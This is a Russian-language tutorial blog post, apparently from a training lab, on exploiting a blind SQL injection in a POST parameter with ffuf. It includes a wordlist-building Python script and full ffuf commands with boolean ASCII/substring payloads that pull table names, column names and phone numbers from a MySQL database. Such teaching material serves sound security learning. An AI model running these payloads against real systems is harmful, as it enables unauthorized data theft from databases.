Blind SQL Injection with ffuf

Blind SQL Injection with ffuf

@cherepawwka

Всем привет!

Сегодня в короткой статье я расскажу способ облегчения эксплуатации слепой SQL-инъекции в случае, если у вас нет Burp Pro, вы не очень хорошо пишете скрипты на Python, а SQLMap помечает параметр как неинжектируемый

ffuf

Приступим!


Верификация SQL-инъекции

Представим, что вы изучаете веб-приложение и нашли SQL-инъекцию в параметре "check" POST-запроса.

Ниже приведены примеры легитимных запросов и реакции веб-приложения на них:

Валидный номер
Невалидный номер

А тут я тестирую параметр на наличие SQL-инъекции:

or 1=1
or 1=0

Несложно заметить, что в случае истинности выражения после логического оператора OR в запросе приложение возвращает строку

Статус заказа: under consideration

В случае, если выражение ложно, мы получаем другой результат:

Такого номера нет в базе

Делаем вывод, что это приложение уязвимо к SQL-инъекции, в данном случае инъекция слепая.

Теперь наша задача состоит в раскрутке этой инъекции, чтобы в дальнейшем выудить всю нужную нам информацию из БД. И делать я буду это через ffuf.


Приступаем к эксплуатации

Первым делом генерируем 2 списка, которые нам понадобятся в процессе эксплуатации. Сделать это можно при помощи простого Python скрипта:

f = open("ASCII.txt", "w")
n = open("length.txt", "w")

for x in range(1,127):
    if x<=50:
        f.write(str(x)+"\n")
        n.write(str(x)+"\n")
    else:
        f.write(str(x)+"\n")

Запускаем его:

python3 ./script.py

В результате получаем на выходе 2 текстовых файла, в одном из которых будут содержаться числа от 1 до 127, а во втором от 1 до 50. Это нужно для того, чтобы в дальнейшем доставать из БД информацию о строке посимвольно по коду её ASCII символа.

Логическое выражение необходимо подставлять вместо 1=1 на приведенных выше запросах. Так, для перебора таблиц в БД будет использоваться серия следующих запросов:

ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173

Разберем команду подробнее.

Аргумент -u указывает на тестируемый URL. -X POST сообщает, что передача данных будет осуществляться методом POST. Далее передаётся необходимый заголовок Content-Type: application/x-www-form-urlencoded в параметре -H, указывающий на способ представления контента в теле запроса (в данном случае URL-энкод). В параметре -d передается полное тело запроса (все параметры и их значения). В нашем случае именно сюда мы и передаем SQL-инъекцию. При помощи -w передаём в запрос словари (в моем случае это 2 ранее сгенерированных списка, содержащих числа). Значения из этих словарей будут вставлены в тело полезной нагрузки вместо определенных для них марекров: WFUZZ для списка length.txt и HFUZZ для списка ASCII.txt. Аргумент -fs позволяет отфильтровать ненужные нам результаты длиной 13173 символа.

Полезная нагрузка инъекции выглядит следующим образом:

ASCII(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1), WFUZZ, 1))='HFUZZ'

Разберем и её.

Нагрузка на самом деле выглядит следующим образом, если рассматривать ее на более простом примере:

ASCII(substring('string', 1, 1))='1'

Раскрывать скобки начинаем изнутри. Функция substring('string', 1, 1) выбирает из строки, передаваемой в первом аргументе, подстроку, начиная с первого символа и длиной 1. В данном случае такой запрос вернет символ s. Если мы изменяем запрос на substring('string', 2, 1), то он вернет символ t.

Далее от этого символа мы берём его ASCII-код. Для буквы s это 115. следовательно, выражение ASCII(substring('string', 1, 1))='1' будет ложным, а вот ASCII(substring('string', 1, 1))='115' — истинным.

В нашу нагрузку мы вместо строки string передаем результат выполнения SQL-запроса:

select table_name from information_schema.tables where table_schema=database() limit 0,1

Этот запрос — стандартный запрос для извлечения имен таблиц из СУБД MySQL при помощи служебной базы данных imformation_schema. В данном случае без функции limit 0,1 запрос вернёт все таблицы, которые существуют в нашей базе данных. Однако, так как нам нужно вытаскивать информацию построчно, приходится добавлять limit и манипулировать первым передаваемым в него аргументом:

limit 0,1 — возвращает название первой таблицы в виде строки
limit 1,1 — возвращает название второй таблицы в виде строки
limit 2,1 — возвращает название третьей таблицы в виде строки
...

Таким образом, изменяя аргументы в функции limit от запроса к запросу, мы можем построчно вытаскивать информацию об именах таблиц из БД, а, оборачивая результат в ASCII(substring()), у нас также получится автоматизировать процесс идентификации кодов ASCII символов в названии таблицы.

Приведу пример, в котором вызов команды аналогичен разобранному ранее запросу. Вот как выглядит результат:

Результат работы ffuf

Кажется, что теперь придется тратить много времени на ручное декодирование каждого символа, однако тут нам на помощь приходит CyberChef и умение работать с регулярными выражениями:

Преобразование результата в CyberChef

Получаем имя первой таблицы: orders.

Теперь изменим аргумент в функции limit на 2,1 и достанем имя третьей таблицы:

ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select table_name from information_schema.tables where table_schema=database() limit 2,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173
Результат работы ffuf

Декодируем результат:

Имя таблицы phones

Получаем имя ещё одной таблицы!

По аналогии делаем все те же действия с оставшимися таблицами, но это я оставлю за кадром.


Теперь пришло время вытаскивать имена столбцов из имеющихся таблиц. Для примера попробуем вытащить имена столбцов из таблицы phones. Запрос будет выглядеть следующим образом:

ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select column_name from information_schema.columns where table_name='phones' limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173

Здесь сам запрос к БД внутри нагрузки выглядит так:

select column_name from information_schema.columns where table_name='phones' limit 0,1

Он тоже использует служебную БД information_schema для извлечения имён колонок из таблицы, и тоже использует limit для того, чтобы возвращать только один результат в виде строки. Изменяя аргументы limit мы также можем вытащить все колонки из таблицы phones:

Извлечение имени первой колонки
Имя первой колонки
Извлечение имени второй колонки
Имя второй колонки

В результате получаем структуру таблицы phones:

  • id
  • phone

Осталось лишь извлечь данные из неё. Для этого используем следующий запрос:

ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select phone from phones limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173

Здесь используется стандартный SQL запрос:

select phone from phones limit 0,1

Так как id нас особо не интересует, я начал перебирать сразу колонку phones. Изменяя аргументы в limit, мы вновь сможем вытащить все данные построчно:

select phone from phones limit 0,1 — вернёт первый телефон
select phone from phones limit 1,1 — вернёт второй телефон
select phone from phones limit 2,1 — вернёт третий телефон
...

Для примера продемонстрирую извлечение первого номера:

ffuf -u "http://example.com/index.php" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "check=%27+or+ASCII(substring((select phone from phones limit 0,1), WFUZZ, 1))='HFUZZ'--+-" -w ASCII.txt:HFUZZ -w length.txt:WFUZZ -fs 13173
Извлечение первого номера
Значение первой записи в таблице phones

И ранее мы подтвердили существование значения этого телефона в таблице, когда искали уязвимую к SQL точку.

Дальнейшую эксплуатацию я демонстрировать не буду (остальные таблицы, колонки и строки), чтобы не портить впечатление от задания другим обучающимся :)

На этом всё, до новых встреч!

До новых встреч!


Report Page